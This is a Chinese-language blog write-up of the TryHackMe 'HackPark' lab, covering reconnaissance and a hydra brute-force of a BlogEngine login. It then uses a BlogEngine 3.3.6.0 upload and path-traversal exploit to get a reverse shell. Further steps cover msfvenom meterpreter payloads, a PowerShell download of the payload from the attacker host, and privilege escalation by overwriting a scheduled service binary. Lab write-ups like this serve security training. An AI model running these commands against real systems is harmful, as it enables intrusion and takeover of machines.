THM-HackPark(黑客公园)

首先查看网络连通性,尝试ping通靶机

初步判断这台靶机不支持ping

侦查

尝试直接访问靶机,看一看有没有什么开放信息

发现是一个小丑的图片,将改图片下载,使用Google识别图片,看一看这个小丑是谁

得到该小丑的名称可能是Pennywise ,但是对于我们来说并没有什么用

使用Nmap扫描靶机开放端口

只有一个80\web和3389\远程桌面服务,看来还是得从80端口着手

尝试访问/admin目录

访问都自动跳转到了http://10.10.125.223/Account/login.aspx登录页面

猜测用户名是admin,使用常用的弱密码尝试登录admin、password、abc123、123456,都登录失败

尝试使用hydra破解admin用户的密码,由于提交的字段参数过多,使用浏览器调试工具获取传输的字段和值

然后使用hydar进行爆破破解

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.125.223 http-post-form "/Account/login.aspx:__VIEWSTATE=sJESqm2ltRmJ1pf5NyQN8UXgjq3n5we3svMivCmSzECDItjp6wqwfB9Qp0mGT42zTs7KOUgV8%2BRDmN2j3KEGlRHK5LQXTBy6tl3Qu0YZGWnJ0FAfu4A76QMT8bH5Tf%2BEdk30TJ1gPFH%2FwJAsvf2u4k1uTIX5ALjXvDJBjHcRoPR0MA9v1jb9RygqT3hIYVfzyhtfPX7%2FCoGF2wwxV4acLs0hv1iAJzOgeiswynnhr7uiGTEcbhdtOU8xnIdwC%2Fp2hINGsMx0DHefD3VlLak75CHS6nEcJ13cvrOyPgAM9POdvDvWBYAA4Dnw%2BWUiltosIr7uW56v%2BEQwbI7ZCHbLZLzflMj%2BQCUojKK%2FMJjKcQzTC0IU&__EVENTVALIDATION=x%2FdZWFIv9j8mrVem7QpqFMC14IcSCd3UpF94zXnc4mxEN6fSz9GC38UGLp8GTWpNL6IFwDjfbuZ3kHJm2gjTWuVu6eXTN5i7SbzSAFGNhM9YnUDrf4aNNambtbA2rCbcL3CgHA1Hcv%2Fb2kM5%2BOqoxKGRkT1eOLGErfhElhlZqwvT7clA&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=%E7%99%BB%E5%BD%95:F=Login failed"

-l admin用户名为admin
-P指定使用的字典
http-post-form代表使用post form表单方式提交
F=login failed页面出现Login failed就代表爆破失败


成功跑出密码为1qaz2wsx,使用该密码进行登录

登录后台得到网站使用的是 BlogEngine,版本为3.3.6.0

查看主页源代码也可以获取该版本

获取初始访问权限

使用searchsploit或者http://explit-db.com查看该版本是否具有CVE


使用searchsploit -m aspx/webapps/46353.cs,查看漏洞利用代码完整路径

查看/usr/share/exploitdb/exploits/aspx/webapps/46353.cs漏洞利用代码,获取使用帮助,以及漏洞利用脚本

通过查看漏洞利用代码,我们大概了解了漏洞利用方法

步骤:

  1. 该文件会反弹一个会话,我们需要在本地监听
  2. 文件上传地址为http://10.10.10.10/admin/app/editor/editpost.cshtml,并且文件名必须是PostView.ascx
  3. 访问上传文件,需访问并反弹shell的地址为http://10.10.10.10/?theme=../../App_Data/files

操作:
首先修改文件反弹shell的IP和端口,修改文件名为PostView.ascx

在本机监听4445端口

找到文件上传页面进行文件上传

访问http://10.10.10.10/?theme=../../App_Data/files页面反弹shell

获得iis apppool\blog用户的权限

切换外壳(meterpreter shell)

由于弹回的shell不太运行,我们更喜欢稳定、便于操作的meterprete shell

使用msfvenom生成exe文件,使用http.server共享改文件,并使用msfconsole等待靶机上线

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=10.2.34.252 LPORT=4444 -f exe -o Junglezt.exe

在靶机使用命令下载我们共享的Junglezt.exe

powershell -c wget 'http://10.2.34.252:8080/Junglezt.exe' -outfile 'Junglezt.exe'

根据共享服务器可以得知靶机确实下载了Junglezt.exe,应该是c:\windows\system32\inetsrv>目录不具有写入权限
切换到c:\Windows\Temp任何人都具有写入权限的目录,然后再次下载Junglezt.exe

运行改文件,并回弹shell

使用sysinfo查看系统信息

使用ps查看运行的进程

发现运行的有WService.exe,运行该进程的服务名称是WindowsScheduler

进过查阅,发现WService.exe并不是系统进程,可能是我们可以使用的提权进程

通过刚刚sc qc WindowsScheduler的到该服务运行的文件位置在C:\PROGRA~2\SYSTEM~1\

切换到该目录,查看该目录下的内容,得到一个Events的目录,Events(事件)应该是一个日志的目录

进入该目录,可以看到拥有一个20198415519.INI_LOG.txt,查看该文件

可以看到WindowsScheduler服务,每过一分钟执行一次Message.exe,并且运行的用户是Administrator

我们找到Message.exe文件的位置,并查看对C:\PROGRA~2\SYSTEM~1目录是否拥有写入权限

可以看到Everyone:(OI)(CI)(M),所有人对该目录的文件具有访问修改的权限

  • M:修改访问权限

那么这里我们可以修改Message.exe的内容获得Administrator的权限

使用msfvenom生成反弹shellgetadmin.exe,并使用msfconsole进行监听

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=10.2.34.252 LPORT=5555 -f exe -o Junglezt.exe

修改原先的Message.exe文件名为Message.exe.bak,使用meterpreter命令upload上传getadmin.exe文件名为Message.exe

等待一会,就会得到一个拥有Administrator权限的会话

这里并不是必须要反弹meterpreter shell,也可以使用windows/shell_reverse_tcp,使用普通的shell,然后上传winPEAS.bat提权脚本,提权,具体看个人喜好

获取flag

posted @ 2023-03-29 15:10  Junglezt  阅读(120)  评论(0编辑  收藏  举报